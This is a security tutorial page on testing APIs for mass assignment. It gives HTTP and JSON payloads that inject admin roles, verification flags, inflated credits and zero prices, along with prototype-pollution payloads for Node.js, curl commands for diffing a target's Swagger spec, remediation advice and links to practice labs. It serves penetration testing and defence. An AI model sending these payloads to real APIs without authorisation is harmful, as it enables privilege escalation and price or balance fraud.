API Security
Intermediate
API3

Mass Assignment Testing

Mass assignment (also known as Auto-Binding) occurs when an API endpoint automatically binds client input to internal object properties without filtering. This allows attackers to modify properties they shouldn't have access to, such as `isAdmin`, `balance`, or `role`.

Testing Techniques

The goal is to identify hidden fields and try to modify them.

1. Observe API Response

Look for fields in the response that are not present in the request documentation, such as role, isVerified, or credits.

Request:

http
GET /api/users/1001
GET /api/users/1001

Response:

json
{
  "id": 1001,
  "name": "John",
  "email": "john@example.com",
  "role": "user",
  "isVerified": true,
  "credits": 100,
  "internalId": "abc123"
}
{
  "id": 1001,
  "name": "John",
  "email": "john@example.com",
  "role": "user",
  "isVerified": true,
  "credits": 100,
  "internalId": "abc123"
}

2. Attempt Modification

Try to include these fields in a PUT or POST request with elevated values.

http
PUT /api/users/1001
Content-Type: application/json

{
  "name": "John",
  "role": "admin",
  "isVerified": true,
  "credits": 99999
}
PUT /api/users/1001
Content-Type: application/json

{
  "name": "John",
  "role": "admin",
  "isVerified": true,
  "credits": 99999
}

3. Common Parameters

Even if you don't see them in the response, try guessing common administrative parameter names.

json
{
  "role": "admin",
  "isAdmin": true,
  "admin": true,
  "is_admin": true,
  "user_type": "admin",
  "userType": "admin",
  "privilege": "admin",
  "permissions": ["admin"],
  "access": "full",
  "verified": true,
  "email_verified": true,
  "active": true,
  "approved": true,
  "credits": 99999,
  "balance": 99999,
  "discount": 100,
  "price": 0
}
{
  "role": "admin",
  "isAdmin": true,
  "admin": true,
  "is_admin": true,
  "user_type": "admin",
  "userType": "admin",
  "privilege": "admin",
  "permissions": ["admin"],
  "access": "full",
  "verified": true,
  "email_verified": true,
  "active": true,
  "approved": true,
  "credits": 99999,
  "balance": 99999,
  "discount": 100,
  "price": 0
}

4. Registration Testing

Registration endpoints are often vulnerable to mass assignment.

http
POST /api/register
Content-Type: application/json

{
  "username": "attacker",
  "password": "password123",
  "email": "attacker@evil.com",
  "role": "admin"
}
POST /api/register
Content-Type: application/json

{
  "username": "attacker",
  "password": "password123",
  "email": "attacker@evil.com",
  "role": "admin"
}

5. Nested Objects

Don't forget to test nested objects.

json
{
  "user": {
    "role": "admin"
  },
  "profile": {
    "isAdmin": true
  }
}
{
  "user": {
    "role": "admin"
  },
  "profile": {
    "isAdmin": true
  }
}

Response Diffing — Swagger vs Reality

Compare the API documentation (OpenAPI/Swagger) with actual responses to find undocumented fields.

bash
# 1. Download the OpenAPI spec
curl -s https://target.com/swagger.json | jq '.paths["/api/users"].get.responses["200"]' > documented.json

# 2. Hit the actual endpoint
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/1 > actual.json

# 3. Diff — any field in actual but NOT in documented is a mass assignment candidate
diff <(jq -S keys actual.json) <(jq -S keys documented.json)
# 1. Download the OpenAPI spec
curl -s https://target.com/swagger.json | jq '.paths["/api/users"].get.responses["200"]' > documented.json

# 2. Hit the actual endpoint
curl -s -H "Authorization: Bearer $TOKEN" https://target.com/api/users/1 > actual.json

# 3. Diff — any field in actual but NOT in documented is a mass assignment candidate
diff <(jq -S keys actual.json) <(jq -S keys documented.json)

Framework-Specific Payloads

Different frameworks handle property binding differently. Tailor your payloads accordingly.

Ruby on Rails

http
# Rails params — try nested attributes
PATCH /api/users/1
{"user": {"role": "admin", "admin": true}}

# Rails accepts_nested_attributes_for
{"user": {"profile_attributes": {"verified": true}}}
# Rails params — try nested attributes
PATCH /api/users/1
{"user": {"role": "admin", "admin": true}}

# Rails accepts_nested_attributes_for
{"user": {"profile_attributes": {"verified": true}}}

Django / DRF

http
# Django REST Framework — try fields excluded from serializer
PATCH /api/users/1/
{"is_staff": true, "is_superuser": true}

# Nested serializers
{"profile": {"is_verified": true, "credit_balance": 99999}}
# Django REST Framework — try fields excluded from serializer
PATCH /api/users/1/
{"is_staff": true, "is_superuser": true}

# Nested serializers
{"profile": {"is_verified": true, "credit_balance": 99999}}

Node.js / Express + Mongoose

http
# Mongoose models — try schema fields not in the form
PUT /api/users/1
{"role": "admin", "__v": 0}

# Prototype pollution via JSON merge
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
# Mongoose models — try schema fields not in the form
PUT /api/users/1
{"role": "admin", "__v": 0}

# Prototype pollution via JSON merge
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}

Prototype Pollution

In Node.js APIs, prototype pollution via __proto__ or constructor.prototype can escalate mass assignment into RCE. If the API accepts these keys without sanitization, it may pollute the entire Object prototype — affecting all objects in the process. Always test for this in JavaScript-based backends.

Mass Assignment Attack Flow

flowchart LR A[GET /api/users/me] --> B[Inspect Response Fields] B --> C{Hidden fields found?} C -->|role, isAdmin, credits| D[Add to PUT/PATCH body] C -->|No extra fields| E[Guess common params] D --> F{Server accepts?} E --> F F -->|200 OK + changed| G[Privilege Escalation!] F -->|400/403| H[Field is protected]

Remediation

Defense Strategies

  • Avoid using functions that automatically bind client input to code variables or internal objects.
  • Explicitly define a whitelist of allowed properties that can be updated by the client (e.g., DTOs).
  • Set sensitive properties like `isAdmin` or `role` only on the server side.
  • Use `readOnly` properties in your API schema definitions.
  • In Rails, use strong_parameters. In Django, define explicit fields in serializers. In Express, use pick() to whitelist fields.
  • Strip __proto__ and constructor keys from all incoming JSON to prevent prototype pollution.

Finding Mass Assignment Targets

Check API response bodies for fields not present in the request — these are candidates for mass assignment injection. Common targets: isAdmin, role, balance, verified, credits. Try adding them to POST/PATCH bodies and observe if the server accepts and applies them.
🎯

Mass Assignment Practice

Exploit object property injection vulnerabilities in deliberately vulnerable API environments.

🔧
crAPI — Mass Assignment Challenge Custom Lab medium
Response field diffingRole injectionPrice manipulation
Open Lab
🔧
vAPI — Property Injection Custom Lab easy
Admin flag injectionRegistration abuseNested object injection
Open Lab